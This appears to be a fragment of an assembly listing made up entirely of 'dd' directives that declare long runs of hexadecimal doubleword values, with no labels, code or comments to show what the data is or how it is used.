dd 0EE70F466h, 595101B6h, 10D3ED09h, 4929E05Dh, 0EAAB8E00h
dd 4758B39Fh, 0FF1CA96Dh, 3D86FAE0h, 2A162B37h, 15E400B6h
dd 0B8C08478h, 9CA0C00h, 0D3D101A6h, 0C95C04FBh, 0C4162817h
dd 74798069h, 6758DB1Ah, 420078FCh, 0B06081AEh, 7A68AC99h
dd 0D81507B7h, 1460449h, 0EC1C6520h, 55003F07h, 0EB1A6163h
dd 244B14E5h, 673DF0h, 93727962h, 1900E0AAh, 5D92E475h
dd 6D9966h, 54DDFF7Bh, 25B2E535h, 6E7752E6h, 0CCD4B600h
dd 40808162h, 0B0B827B9h, 0E0726C41h, 0CF385831h, 0EFE48044h
dd 4D4199D8h, 528F005Bh, 0A47B38D3h, 0F9A20DC1h, 0FBFD9C0h
dd 41589C30h, 14E25A26h, 0FCFA2FFBh, 0CEAF9500h, 0AB68B154h
dd 8409A4A8h, 40301C60h, 88E5DCh, 5B431D0Bh, 2BC86986h
dd 510E3C30h, 9553497Dh, 63E70400h, 1C394B90h, 67B0004Eh
dd 3872FAE1h, 9C10005h, 8F13CF29h, 8100B6C5h, 0E6DBB13Fh
dd 0F0F41D08h, 0A1D400CDh, 0A0C8B37Ch, 3600495Ch, 98542185h
dd 3B225A3Eh, 607C4D28h, 3C477162h, 8EB85623h, 5E77EE00h
dd 0CF88799Ch, 18B100E1h, 30D83906h, 484EB0B7h, 2EC77007h
dd 21195A30h, 8E0600B5h, 27B34BF8h, 0B2332074h, 0C881D80Dh
dd 2C472F0Ch, 6B4CBCh, 32A95E38h, 371E14ECh, 3E852253h
dd 9EC05DD9h, 98499Ch, 95C945B3h, 0AA32ACF5h, 0C25C8D03h
dd 0A8A575EAh, 0F8D92E59h, 9D250088h, 79083C66h, 2D0F6709h
dd 80418F15h, 0D5F3742Eh, 13720076h, 9F7347CBh, 4D0004E3h
dd 8823CEBFh, 4378245h, 0B2D6C08Ch, 0BC95C090h, 8600419Ch
dd 776DBBBDh, 4B783089h, 0A60BF007h, 68DBAA0Bh, 27AB803Fh
dd 8EB52Fh, 877FE1CAh, 0B1F9B330h, 0FD03EFB8h, 3FB4FB09h
dd 0B5A801D7h, 9AE49D01h, 14C9CF04h, 0C5AEF008h, 0D852AD1Fh
dd 2B768F00h, 1E271DCFh, 0C090B526h, 7F3328B3h, 4A004CA0h
dd 40FB4829h, 60832D05h, 0C6FAE89Bh, 0AF7FBBD3h, 0C3AEE900h
dd 1D5E0B5Ah, 483B3EA3h, 0EE9D4000h, 1F9ED773h, 0B88AC406h
dd 0FC418B85h, 0DF5F0028h, 0AE403013h, 0A00D732h, 0BBEBBC6h
dd 0EC533A26h, 1B363029h, 244290C9h, 344F3Ch, 0F547F626h
dd 3E62F0Dh, 0C40B46F7h, 0F3C82472h, 7700E29Fh, 0C599FA37h
dd 0FA16B66h, 0D53C1C07h, 97BE2D81h, 67962075h, 19BEE250h
dd 0F30223Eh, 80AC58DFh, 0BAFF0D63h, 672A0E4Bh, 0FEEF9CDDh
dd 0B55A0900h, 850379AEh, 0EFDA3D1Ch, 0CEBEA010h, 0C3BA1DFDh
dd 0C88C804Dh, 800FEE71h, 0A943EA28h, 3EF5A300h, 72AA8E55h
dd 0BA6E0EEBh, 7020E9BBh, 40ACF9B7h, 69007478h, 3DC3B031h
dd 638E080h, 0C122A234h, 0A529B06Bh, 14504828h, 0AB9886D0h
dd 1FADF000h, 0CB2C2EFBh, 0F81201A8h, 4ABA991Eh, 19C22066h
dd 4CD75Ch, 918C9CA7h, 0EF91A25h, 0DBE86E69h, 0F789D927h
dd 97759022h, 0F500562Ah, 243CC02Fh, 7821B8F3h, 0FB17005Ah
dd 0D1771B01h, 4A073BC8h, 93194347h, 885E12E3h, 2EC220BFh
dd 3F48C4h, 0C5B78A75h, 0E90070E6h, 25517F12h, 1FC436DFh
dd 803A2DBDh, 4E164B97h, 84007D01h, 10347663h, 0A9799Ah
dd 407FF22Fh, 9D302DD9h, 4628BB00h, 482060BFh, 0F0871E1Ch
dd 1273C0EDh, 7A805B5Ch, 7178AA74h, 8204BA56h, 40D11633h
dd 0D7D2E3h, 0EEF4DA11h, 6A64CFFEh, 5A4BAE0Ch, 3918C2Ah
dd 0D214E29Dh, 29101D32h, 9000D022h, 0CDAED71Ah, 0B6004746h
dd 4BE4F378h, 270911h, 0D6F1BA3Eh, 0FA6D88DDh, 0E2E69500h
dd 0CAB465F3h, 0BD583CCFh, 0B6E59A00h, 3E4C8A13h, 708B9900h
dd 0F1071B4Bh, 4404031Fh, 603614F6h, 32D32E0h, 990059FAh
dd 0E386DA89h, 3973A4h, 914AABAFh, 653D3AE6h, 5495700h
dd 0BBFF17D3h, 39A20971h, 0AC005BC4h, 92FD0CB2h, 0F6004FEAh
dd 0AEEFD21Dh, 0AA3DE5h, 0FEBE373Fh, 7BA521CBh, 0C6A10500h
dd 3DE10AB8h, 5A130073h, 4A51FD3Ch, 0CB1D4DA8h, 8340D6F2h
dd 7C89DA40h, 75017508h, 0EA960053h, 50104EAEh, 290AC035h
dd 0ABE811A9h, 0F6B46F0Eh, 0A0C4C40Eh, 5AC241DDh, 0AE1C0095h
dd 6B631E86h, 3C00E230h, 0D30D15A8h, 0CEA4A3h, 73821346h
dd 32C5141Ah, 0A8CC3Ch, 0FF53902Fh, 632B1656h, 0FD8C18C4h
dd 6BE9C1C0h, 0FB335103h, 9303D870h, 37418018h, 16D001Bh
dd 9BE04459h, 0F40F673Fh, 0E0E2B455h, 0DCD7C40Ch, 0A78400B5h
dd 25D3E4CEh, 1300BCDDh, 386BBA27h, 248FB442h, 172C18F7h
dd 0B2640086h, 0DFF52A30h, 5BF61600h, 6F879E5Ch, 6C063C99h
dd 8137780h, 0CEE2CC97h, 5BAE2500h, 0AC2D6AC3h, 49EE0087h
dd 0FFBBF3D6h, 803CE7AAh, 1F5D800Eh, 440245Fh, 8BF90038h
dd 68904542h, 0CE01A191h, 0B0D0A66Fh, 0BFF028FEh, 0AFD80026h
dd 7DB924C4h, 1A78750Ch, 77E50800h, 0C74E190Fh, 0F4E7070Ah
dd 304959F2h, 0A201BD6Ch, 347A4F72h, 78955AE0h, 78FE000Dh
dd 5DAFAC06h, 83247080h, 1200E775h, 7D47B1AEh, 10A70704h
dd 634F1696h, 85B8C6D8h
dd 0FCE4B8C3h, 2D9C3200h, 1E6AC0B7h, 21A60F04h, 0AD07E14Fh
dd 0FACC70CBh, 676662C2h, 1EF08352h, 1B1F1C5h, 90C36D97h
dd 3472E4EBh, 48DBCE00h, 0A3A99A28h, 43710165h, 0C6F22D70h
dd 4720245Bh, 0FC757E00h, 0E211CB1Dh, 0AF121D42h, 80979F30h
dd 9FBA4CADh, 8A00728Fh, 46F5D808h, 0E0C15Dh, 0AB1B0370h
dd 0DB401153h, 0D4E92600h, 0D0F1424Eh, 313607B1h, 80499745h
dd 437C8432h, 0A5331026h, 0A5CA7A09h, 0D4308D3Ch, 3E7AC44h
dd 0BA0513CCh, 68F0B567h, 0A20085FDh, 0D7B82AA5h, 0BF3CF8h
dd 9311990Fh, 80FB21B6h, 0BE00549Ah, 60D9ED10h, 38A37692h
dd 5500B58Bh, 58E321F7h, 0D100984Bh, 0FA2A8E51h, 1E94D43Ch
dd 0BADC96BFh, 0FBEC6C09h, 80153C87h, 0AECC9B91h, 0E6DFF303h
dd 9B46D1C1h, 628AA0E7h, 92D6003Eh, 0C257D534h, 75007C7Eh
dd 0E772C807h, 4440E4h, 4A8B3B84h, 1F6C48AAh, 7C756B00h
dd 18A482F8h, 0FA64284Dh, 8C200D0h, 0F2670A91h, 0EA4F30DFh
dd 0D90104B8h, 20CE6FA8h, 625AF044h, 0C158AB01h, 0A6F89445h
dd 405ECC42h, 3289E99h, 328B8D3Fh, 8F05CC8h, 390055B6h
dd 0E7DBB901h, 2F63A39Ah, 7CDEE0D8h, 64400039h, 0EBF9BC7h
dd 0CC8A00BAh, 658C4E7Ah, 927E3BDFh, 90A9BE00h, 0E1EE2DF5h
dd 9070B8D0h, 24470599h, 80AA336Fh, 0FAC2863Dh, 0D4E5D00h
dd 0D0E4F68Ch, 9072397Fh, 0FBEB8900h, 651708DCh, 0C330E05h
dd 0CC007936h, 9A060D53h, 0A1710EDFh, 0EFAEDD43h, 60CB6783h
dd 0CA3F18C0h, 0AC90AE7Ah, 0D2BD30Eh, 7DF980D1h, 52F130h
dd 8A6A929Bh, 0F3870B91h, 684CAC06h, 7203A6Ch, 6B26C5E7h
dd 6A41C093h, 0A748ECF7h, 0C1B0038h, 0ADB6068Eh, 9304012Fh
dd 0FDD51CF3h, 0ACD6D5CFh, 0DC0F84EEh, 5BC7E344h, 2921B855h
dd 0D4870079h, 0D19D4713h, 2F2A3FFh, 0B649D91Dh, 2B7E4BC0h
dd 0C5FC1Ah, 35606E2Ah, 0E504AAC9h, 7B17B104h, 0A0805EBFh
dd 0E066D1h, 497328BDh, 0C8F64534h, 756E80Bh, 9256800Ah
dd 0EE4AEEF2h, 4C8B1DFFh, 28C9C085h, 9033A91Eh, 8146F400h
dd 7B0E2EF8h, 1F9B98B8h, 0C092C744h, 0BCA8A955h, 63F8948Fh
dd 772F6A00h, 0A76D74ECh, 0EB153AEAh, 6EE41F00h, 2B4B2D5Bh
dd 0AD96FD17h, 4190D10Fh, 8E6C0197h, 72EFC0h, 0A9AC88D5h
dd 0EDC632A7h, 809D163Fh, 292F7773h, 10C46B0h, 3ED0E7C3h
dd 7040C5E0h, 0D91C1618h, 3AC0B2A2h, 0A18E8F2Fh, 12890E2h
dd 85B51BA5h, 0D4884456h, 4D793D2Dh, 0C72E1700h, 1CD0303Eh
dd 156300BEh, 2D81837Bh, 0BD015D39h, 1390111Fh, 11823260h
dd 6CF6426h, 80E18340h, 11F56F17h, 13535840h, 1D9808F1h
dd 0F07D6EC3h, 0F48C5C18h, 6339E40Eh, 234DAE56h, 1E6B4BC4h
dd 0EEA4F621h, 0D703BD90h, 68741A28h, 447FFEB8h, 79008E7Ch
dd 26712038h, 13C359h, 65109C5Ch, 85223BA8h, 7C40A007h
dd 0F64132BCh, 1CE0EDC9h, 34790715h, 1327FE20h, 88C0136Dh
dd 0EE00711Fh, 43CD7F87h, 262F1A6h, 3FC48D97h, 2374BCA3h
dd 8000624h, 19CAD59Ch, 28D80F76h, 7F6CDCD0h, 0C00340B9h
dd 0D2F5938Eh, 59C101EEh, 32638B82h, 0C2E2F8A1h, 43A50A1Eh
dd 19BBC000h, 0F763F41h, 0D33D74EEh, 34A0B50Eh, 0BC57445Bh
dd 7DA0300h, 630B7F2Bh, 0C2E500AAh, 0C5DB9AA0h, 520089ADh
dd 0A11B54BDh, 32FD20Fh, 9ADA5870h, 8101EA33h, 652C3261h
dd 0EAD3B384h, 0D4CC80B9h, 4885CE39h, 70E21EBh, 2D206982h
dd 0CBD9F1A5h, 2033AB0h, 66A392DEh, 43E03EB7h, 7FE96Bh
dd 0D9C23E72h, 5FF600B0h, 824763ACh, 59399C11h, 0B53907FFh
dd 9B40BEE7h, 67AC5Eh, 5770BC52h, 0BDD9751Ch, 4E0B0C02h
dd 40B5A5EDh, 6F1F95h, 0AD82AFCBh, 5D21DCA6h, 0E588500h
dd 0A18C4FF6h, 0ABF0C39h, 0D89CDF4h, 38DF3F07h, 12D21137h
dd 639DE00Ch, 1967006h, 0A9CA26D3h, 242B4AD0h, 0DB3A7048h
dd 28810036h, 0F096F11Ch, 48AC0063h, 0EA41D212h, 43008735h
dd 9BF9BA14h, 30233F9Ah, 1340E61Ah, 0CD2F6C52h, 57BD459h
dd 800C35ECh, 2002EFB4h, 6D419017h, 0B4BA3440h, 0AB3618h
dd 0E93A423Dh, 0C273CB4Dh, 7D713Fh, 99B3A2EEh, 311D9Ah
dd 1FF4A6F7h, 0F690F005h, 266CF900h, 7A9EC0A3h, 0F0C67B0Eh
dd 9A8A2EDCh, 388919FBh, 96AAD041h, 5F2B3500h, 7CFF7F34h
dd 0FD0D0097h, 5B508C3Fh, 2A76D7F7h, 72228E48h, 8D1838C0h
dd 86464Ah, 9C844106h, 0B3D73E21h, 1E3A0800h, 907A8C18h
dd 31866698h, 18D3C4D9h, 946AB303h, 0F510F86Ch, 0C3C20013h
dd 0F8CED8FAh, 9E0067A0h, 59B82CD6h, 2AAAC0h, 247F1D47h
dd 0D2560603h, 1903257Dh, 990CC252h, 0DC5AF846h, 0B161CE8Eh
dd 8DF917A0h, 7A004955h, 0D9C6EC05h, 336C9B6Ah, 42A17CB6h
dd 8EA83CB0h, 95E24400h, 4578D041h, 0B7A22A9Ah, 0A4FE00ACh
dd 87120C88h, 0BE000E59h, 0E6D0FDC7h, 3C6A0B9h, 39C1204Fh
dd 0E9488543h, 10FB00D4h, 0F216FF9Bh, 25967BF4h, 7F606559h
dd 0AB98689Ah, 8803A900h, 1D12A877h, 741E0E4Bh, 4E2072ABh
dd 337EA3BAh, 8854EB30h, 0FA7C3Dh, 579DDA50h, 621F8249h
dd 0FD004C78h, 0D58461C0h, 38DCE99Fh, 45805FB4h, 0E36998Bh
dd 0CB00D22Bh, 0A0343B17h, 0BBC377h, 28694E24h, 3F953530h
dd 1C056A70h, 0F977E9A2h, 2CF780EFh, 16004A0Ah, 0EFAF4D8h
dd 3E826DE5h, 518070CEh, 80328AE8h, 0B800F979h, 0ECD1C7CBh
dd 0CC1EBFh, 2C18F238h, 71745F42h, 149C1700h, 0F44AB4D8h
dd 0ECCF07D7h, 81B33D72h, 0C803C28Fh, 0AD024B98h, 1ED96983h
dd 9A45E03Ah, 0BBD51DC4h, 310800D8h, 66343D5Ah, 0B6E54F00h
dd 8CD0226Dh, 5741002Ch, 9968BEF5h, 71FB01Fh, 3E5FFE67h
dd 193B0D0Ch, 0C0E2752Dh, 9A9EC88h, 0C300D5F1h, 0D61F9A7h
dd 7AC25DBCh, 0A8BD0110h, 482515E9h, 9FD8D01Fh, 89EE6903h
dd 170982ACh, 0FF6010h, 0D9F7E097h, 3A00AEA5h, 0D09E7D63h
dd 0B2C3CCh, 9C9FD7CEh, 3223A1E3h, 0A2FEB700h, 0DA47682Fh
dd 1E1A0013h, 79660A7Eh, 7B1F917Dh, 0FF990EFh, 4FCE0B52h
dd 24988045h, 3B870C0Ah, 0BD80E332h, 92041F06h, 5C3D6A56h
dd 0A4408E01h, 97E1005Fh, 0A8BE894h, 35039071h, 1C1E5920h
dd 45070608h, 883BAA03h, 0FBE1E90Fh, 297A0C1h, 12FE8F6Ah
dd 0A66E60Dh, 0D0C84Ah, 134E6EBDh, 6F049AB8h, 0E0AFEF99h
dd 8825A583h, 2C59783Ah, 3FF1D844h, 7F3B1Eh, 0E0424EFAh
dd 980C8B27h, 0A021863Ch, 0FFC60F16h, 0E760E5F5h, 434B42C7h
dd 65A654Ch, 8A3FEEBEh, 75180028h, 49DDAD8Dh, 7D28B003h
dd 0DFFAA4D9h, 9F28C838h, 8E4C4F8Bh, 3B2EC88Ah, 0D6814AFEh
dd 65A5891Eh, 366DE0CDh, 7B97C000h, 0D3AC996Ah, 0A9F8005Dh
dd 0FB4B4398h, 192909CDh, 72808047h, 3A3B996Eh, 0C0A243FFh
dd 22A7E155h, 0EF4A0098h, 41092C1Ah, 663E0BE3h, 328C0081h
dd 2EFF25EEh, 8ED3097Fh, 29004A2Bh, 0B87264A0h, 2AFD9918h
dd 0D025D0h, 7F9E0487h, 4F075C1Fh, 4A04B075h, 525A1E38h
dd 8402480h, 90D180CCh, 5C5E9E0Ah, 815B2028h, 0A0C22A1h
dd 554CE1Fh, 0A4883958h, 0E815008Dh, 0EF55C14Eh, 9572983Ch
dd 0AF35A100h, 65DC1EFDh, 14237CD5h, 0C83BDF4Ch, 0A4A36B00h
dd 9B979347h, 19639600h, 11BB528Bh, 6ED00080h, 0A357A661h
dd 6900EA87h, 0A85E3CD1h, 93C0DFh, 0B28B2524h, 0AC6CF15Ah
dd 0E6158900h, 0EB7233Bh
dd 14C70B6h, 0E22B463Dh, 70A57543h, 580CE721h, 419438C1h
dd 0F1180067h, 2197DBC5h, 9B07CEC8h, 0BDB58830h, 82FDCAB0h
dd 676001A3h, 0D35FD797h, 4A4024E4h, 0EA8AE70Fh, 0DC1260EDh
dd 208332Ch, 193EA12Bh, 0D0C094D6h, 931258Ch, 0FB3DB8CAh
dd 380C182Fh, 8D30ADC9h, 137D888Eh, 0DDA20074h, 89E55D1Fh
dd 0FA03CB98h, 78398673h, 1530CFA3h, 491FE1h, 4AE6ED38h
dd 0D5639B99h, 0FF50C800h, 0FC87F1F4h, 0A1660088h, 0D75D6F31h
dd 44003B02h, 6837C11Bh, 0FE7BD196h, 57C9005Ah, 3525F6D6h
dd 761D4D6Ah, 7100128Dh, 6A38413h, 0AD6700E5h, 9D4AB6Dh
dd 0AC60201Ah, 0D1D6FECh, 7D8C2EC9h, 0CCC300EBh, 673E096Ah
dd 2C0479C0h, 0CFB8E2h, 0FA47520Eh, 3C2FFF08h, 23000F90h
dd 0B0FB7E74h, 2466BDh, 26ADAE5Dh, 20EFB1B9h, 0DE0094F2h
dd 0A00AE42Bh, 1808136Ch, 0B06F48A9h, 0E0004AD4h, 0A463F76Dh
dd 1929E44h, 868BDDF4h, 6AA7B751h, 0E114ADC0h, 9C500A4h
dd 5D0BDEA2h, 0E23D987Fh, 0F8DAB0D6h, 0DEB7EDC0h, 0FA6B80B0h
dd 645E2210h, 706F807h, 0BDC06588h, 519924h, 4112597Dh
dd 0BEABB63Bh, 0BB05B500h, 9495C70Eh, 4AEC0068h, 0CCF6D4C2h
dd 0FE0088ADh, 0AE91502Bh, 0AB1587h, 71D0834h, 2153C373h
dd 0FF7BC100h, 0F9527822h, 494B004Ah, 0C7878FBBh, 850FEDE3h
dd 805A5956h, 31AC97D7h, 5D221D9Bh, 0BEBD8E2Ch, 0B7005h
dd 0E1A24EBEh, 8C0E0985h, 201C2173h, 662DE771h, 894F3CD0h
dd 37AA8089h, 8EFAB00h, 0BA0E7698h, 0FFE927D7h, 0C6060FC0h
dd 0A4B007h, 0BCF3EB51h, 407E8EBEh, 0C9706B07h, 0E2B0C65Eh
dd 3AD573E8h, 0EE002CA1h, 9A07F6EFh, 0FE310B6Eh, 0A5B210EDh
dd 0C453E0h, 0F47573AEh, 31924D7Ch, 8DFB851Ch, 76CD1447h
dd 0A4818AD0h, 0D4B213E3h, 0A9F30F32h, 982446A0h, 0C1126522h
dd 0A904F8A1h, 0C0AED6B0h, 0D05771F1h, 93E99B0h, 56BB09B3h
dd 3111005Ah, 0F22D684Dh, 15920074h, 636F6D12h, 900EC627h
dd 205149A1h, 0D75AC88Ah, 7B0DF033h, 0E94000E7h, 55271EADh
dd 8FE0FFBFh, 0C7B32D00h, 0F2B721B9h, 1E8670C2h, 40D95A25h
dd 415D232Bh, 6D0002A7h, 85C2043Ch, 2F26ECh, 6CC0120Dh
dd 0CB747699h, 277B0800h, 2C784D2Bh, 0F2BD0011h, 2E644493h
dd 3103E368h, 0C2799E87h, 55D7983Dh, 0E1690076h, 0B7F67494h
dd 960E8D78h, 0A08AB914h, 265536D1h, 0EC700F99h, 0DE9D9B32h
dd 0BC1E40E1h, 0D5DC3ACCh, 0D4EFA40Fh, 71E3C0FDh, 28493D77h
dd 0B1C5C1h, 0F3AD8C8Bh, 2B4B6014h, 77BE0F09h, 0B5B40195h
dd 98506644h, 146705h, 2DDA03BFh, 57BABC53h, 4007737Dh
dd 87CF7BACh, 2E657950h, 0BF6F00A9h, 78DA5054h, 0E100F6EBh
dd 0A18C177Ch, 5F9DAAh, 7348911Fh, 3D854550h, 2624951Eh
dd 0A569C040h, 0A01321h, 0E58A6041h, 933B315h, 0E9008D98h
dd 36BB97F1h, 91516Fh, 0F98E4D60h, 44F87913h, 0C0C7E800h
dd 660E05A6h, 0D940004h, 14B32410h, 580EB183h, 408D2617h
dd 5ED143C1h, 38010011h, 0DE64810h, 84002975h, 93D06DA5h
dd 0FF4D6Eh, 0F9E88894h, 0EC045BEFh, 8A7B5A03h, 0D02785A3h
dd 73066B2Ch, 4184919h, 9CD47900h, 930F70E4h, 48DDC300h
dd 0F835F5FCh, 37AF002Ch, 0DB6E3B3Eh, 20125170h, 6800D803h
dd 0D64CBBD7h, 52583DA2h, 0CF509580h, 1C3AC045h, 70D0A70Eh
dd 473BC0E1h, 0A49A3Eh, 0D80720A1h, 46CB1BC7h, 16FFCC01h
dd 8637FA5Eh, 33D0B6EDh, 0B7EC00F3h, 7CCDDB91h, 3200FDF6h
dd 3ADADDABh, 1501B45h, 0ACAD49CAh, 0C8AE3CEAh, 9B0023C6h
dd 818DE720h, 0C8B6A9h, 54EB41CBh, 828387F8h, 0AA0096F2h
dd 0E2699A6Fh, 237079Fh, 1E521985h, 0EFC0556Ah, 9609ED82h
dd 0AE7967h, 41CD1A63h, 0C4311F62h, 0CF520051h, 0E42FDB8h
dd 0F0B9E600h, 0EFBA859Fh, 6E050033h, 8E0BF129h, 0F9000635h
dd 30695B97h, 77B6599h, 0B605EAB4h, 0A011D6C7h, 41377E00h
dd 0BB755B32h, 963407E6h, 404935CFh, 2C0F6E86h, 3005D030h
dd 5DC0498h, 0E1AC5671h, 4154C01Dh, 2A008A1Ch, 4C934A3h
dd 91797Eh, 0A5F0B688h, 35D7C1C5h, 462C0100h, 0E4B9703Ch
dd 0BA9C00CAh, 0EF91CFC2h, 0C67477ADh, 8031463Eh, 8155867Fh
dd 6BD71h, 40A98032h, 0FD5B1A74h, 3BB6A300h, 0B06BE892h
dd 0ECDA0045h, 0C6DFB74Eh, 0EF70ABFEh, 1A978007h, 0B1B0FFE8h
dd 9487A9h, 0E001ADA6h, 2B5721BDh, 65C49507h, 39700681h
dd 0E5D9738h, 0DE4FD4E2h, 1B03EA3h, 0AFD0E4F3h, 56EC7C64h
dd 38E4800h, 109D4D85h, 9C550025h, 6A588B70h, 0EB00F23Bh
dd 3AB178ADh, 1832A13h, 0CAB90E6Fh, 0C4681471h, 1872AA5Ch
dd 0AFA19100h, 3BE15B7h, 8766002Eh, 228EBF8h, 940E6A74h
dd 0A0D51271h, 0B7445B8Fh, 89BA014Ch, 0AA696F7Fh, 1A9BC4CBh
dd 257D387Bh, 0C7921B00h, 0DE47F173h, 60D800BFh, 77768239h
dd 2300A93Ch, 0FD17B911h, 38477962h, 980F63Dh, 0DD3C40E5h
dd 28787714h, 640E4E00h, 9AA95EC3h, 2B6E020Dh, 0D782F6C5h
dd 112DCC80h, 0F1D628Bh, 4B091CC1h, 86560057h, 0F0AE1Fh
dd 0BAD67022h, 48BEE903h, 498F9E00h, 965E376Dh, 1CCB7632h
dd 803EA842h, 4ADA6FA3h, 7A0025E1h, 5E843677h, 7DC10BB2h
dd 0CAB0711h, 1B81534h, 0ECBE1793h, 9017F05Fh, 0BCA88042h
dd 6EE8A130h, 1D0E683Fh, 80D7DEBCh, 0F41715CEh, 3D530057h
dd 0B039ECCDh, 0BF589061h, 0C6DA0093h, 2BA814EEh, 312003FBh
dd 0BA1384D2h, 70153EF1h, 0BB00F70Bh, 0A16881EFh, 4CFEB6DDh
dd 6860D9F3h, 7657E4D6h, 27C9B900h, 7C8D0136h, 0B5340023h
dd 0B33D5C4h, 0AF007464h, 96C31EBCh, 297B83h, 985A99CCh
dd 810569B3h, 8AEF181Ch, 57F1A040h, 0BB9F4Ch, 7333E1C6h
dd 0CDE82FA5h, 1B3ED600h, 9D67C42Dh, 4FB0065h, 0BBC1BC3Bh
dd 0AE76F018h, 0F37C9E00h, 71349D97h, 820138DEh, 596F790Ah
dd 0DBF800E7h, 5B609890h, 0D0E63A00h, 0F997625h, 0D15E1E34h
dd 954887E7h, 0D63C90A9h, 0FA03103Bh, 0A82EA78Eh, 83CCE087h
dd 48F09040h, 0E800B0B2h, 0F2B8BA92h, 2700375Ah, 7654436Dh
dd 68FCDDh, 4B21BFF5h, 5C79325Fh, 7CC8AD00h, 6472E4F2h
dd 78251CBDh, 18BC023h, 1FE998D1h, 0C6040D00h, 0B89B7ACBh
dd 0B08300F0h, 4A5FE566h, 0CF68FA7h, 0CB00997Eh, 9E133045h
dd 0F6227EFh, 40F30592h, 0E7508058h, 0BC0086F8h, 3F9FA7BDh
dd 0FF03B8h, 0DF320EA8h, 92B9C117h, 58367E02h, 4118FAF5h
dd 0A481C3BBh, 2A614AECh, 0D5F0F8E7h, 92398D00h, 0F75B8A5Fh
dd 357107D6h, 0D0FED376h, 1079CB7Dh, 0E6AFBD00h, 360F2144h
dd 4ABF034Dh, 7FCD0257h, 23F5A2D8h, 0BD004090h, 0C3F465BAh
dd 63DA4B0h, 0FF253229h, 0DE0F90C0h, 0C04B016Fh, 1E1B549Bh
dd 0B4350194h, 4FBEC9C1h, 83FED407h, 7BEEF100h, 6D8936EAh
dd 0FA4C00F2h, 58D11849h, 9C263AA6h, 0F50098EFh, 0A98FAF17h
dd 5CA100BEh, 152174FBh, 0B904BB69h, 8D23ED85h, 16A29FC0h
dd 0CF4707D4h, 30A30FB5h, 278EA8B1h, 800E5C3Dh, 7041ABEBh
dd 0D3A078h, 0A2DDA444h, 380D0834h, 15393D00h, 4BEE2BC3h
dd 4D801DAh, 939B9417h, 0A4D4F847h, 0C403A078h, 8E3FF302h
dd 11CE8Ah, 42A2E956h, 792401CDh, 8028993Eh, 634FDE0Eh
dd 7BB5B0C1h, 0ED8B02Ch, 0EF6A6734h, 80D5C325h, 0B492BF23h
dd 0DB101050h, 0F4C0F500h
dd 0F6416A6Eh, 0A5820B9Fh, 4C008685h, 2EFC7F9h, 1963172Ch
dd 8E56C800h, 0FFB587h, 0EA91A47Ch, 0DBF413D0h, 98A9E900h
dd 406BE2ABh, 9A8503BEh, 0ACD4B0C0h, 7E8D5B90h, 1CEA4D3Fh
dd 0AA00CA94h, 10CB2D75h, 1FA20038h, 8D6CB74Fh, 9F048BD7h
dd 18358513h, 0ED08B0h, 3966653Eh, 296CD9CAh, 33F26900h
dd 0AC0805A8h, 800300F1h, 578A5C3Fh, 2B002CB1h, 14302A4Fh
dd 0B885C332h, 0DBF0078h, 3903C999h, 0E7005E06h, 10EE6B3Bh
dd 67ACEC79h, 330728FBh, 35A0B3FFh, 0AA0023F0h, 5D149030h
dd 73EE1217h, 228B050Dh, 0C0C47736h, 48ED35C7h, 0A03EC1EAh
dd 828A166Ch, 34AB7F03h, 0DB5CC068h, 3F640AA5h, 1913197h
dd 721DDC61h, 0B548D029h, 0AC7A840Bh, 0AFCF85C9h, 70CB4C0h
dd 0E91300D5h, 0D12274E2h, 903BF7Ch, 0A2DEB00Ah, 73EFB93Ah
dd 16AFFDC0h, 4067A04Fh, 0BB613D28h, 1730F42Fh, 3BA4F8BFh
dd 4A150198h, 547F2A2Eh, 34199532h, 5000FE04h, 0E87A64FFh
dd 2B0E2DCFh, 80DC0D92h, 533820E4h, 0F986288Fh, 7C4814CCh
dd 3F009014h, 1E9A8A64h, 0B21F3B65h, 346B6B35h, 95AF5B62h
dd 0ACA1844Ch, 43C80CDh, 0AFEEABBDh, 0D7912F00h, 93B69CFCh
dd 28FA7FC0h, 80C620Eh, 0C12E9ADCh, 42705808h, 1880A9C8h
dd 9251DA78h, 621A1080h, 6FCB19A0h, 99041881h, 0CA95118Ah
dd 96F80C41h, 0E17B3040h, 0C49CA52h, 0B80D8818h, 0C940A4Eh
dd 779A9802h, 457C058Eh, 2FDCC48h, 9665F424h, 10CB3F22h
dd 9347BA28h, 0ACE56C5h, 860CAC18h, 316BA8E9h, 0BC0CA043h
dd 1479530Ah, 0ED0CA750h, 30247E50h, 3C14E042h, 0A42A1802h
dd 8468F478h, 48C01854h, 0B3D34504h, 21034231h, 191D2DBBh
dd 24623EB7h, 0D80495h, 5C0CDAAEh, 3F58E969h, 0A60800D4h
dd 32E1D68Dh, 9831039Eh, 451A542Ah, 2E6987E9h, 48B567F0h
dd 22004C56h, 0F5F199A8h, 344DF6B9h, 9A0904C0h, 4907EDBh
dd 0C1A0415Ch, 13A805A1h, 96042031h, 7835A307h, 4210CE5Dh
dd 1FE8374Dh, 0B0C68AAFh, 17E645A1h, 0CD20EBE6h, 591F0C33h
dd 73886D12h, 1D76D14Ch, 0FB008067h, 5E96A40h, 88602FFh
dd 930C99B7h, 1C3EF462h, 2790800h, 629C557Ah, 0AAB1C39Fh
dd 0A6E059CAh, 4D18A538h, 44508BE3h, 341726FCh, 0E65A00D0h
dd 5111932Eh, 0B9255700h, 6AC16519h, 1E27235h, 3789D417h
dd 5122C733h, 703813C8h, 9260FEDBh, 7153C250h, 4A560A03h
dd 14C696h, 342E7455h, 6450F7F6h, 0EE001034h, 0E07B60AFh
dd 0FD0BB98h, 0A98BD474h, 0F900173h, 312DB88Eh, 8C45D41Ch
dd 0D3892C00h, 0B060C6D9h, 41960174h, 0FC0F2623h, 25C7707Bh
dd 0B81DC530h, 60E7D957h, 99A69846h, 2700EB54h, 679C3210h
dd 5CCD8BE5h, 7A0148FAh, 0BB294C0h, 19752096h, 141CCF4Ch
dd 3D689E06h, 2C8B02FCh, 0B8D8AE60h, 3DC37B40h, 287B306h
dd 0F08E3181h, 6934CC6Eh, 21B2DC01h, 0F11C7F0Ah, 54CBD8F4h
dd 0CFD5C094h, 16709310h, 414599Ch, 9DE90C41h, 0EC948809h
dd 539F3E60h, 39A03683h, 0AAE006FDh, 0DD3F80E4h, 5B1909A5h
dd 0E85C0245h, 6274D062h, 1A1718AAh, 0C9208880h, 6303D3DCh
dd 3950C2D8h, 0F1312C42h, 0E8423D0h, 90C27247h, 5848D19Ch
dd 1201BF9Eh, 6E52EF19h, 88287F81h, 95F17801h, 342C01FFh
dd 0B4487BF0h, 0E0FA81CCh, 50303AB0h, 79FE6DDh, 6B8CDEFEh
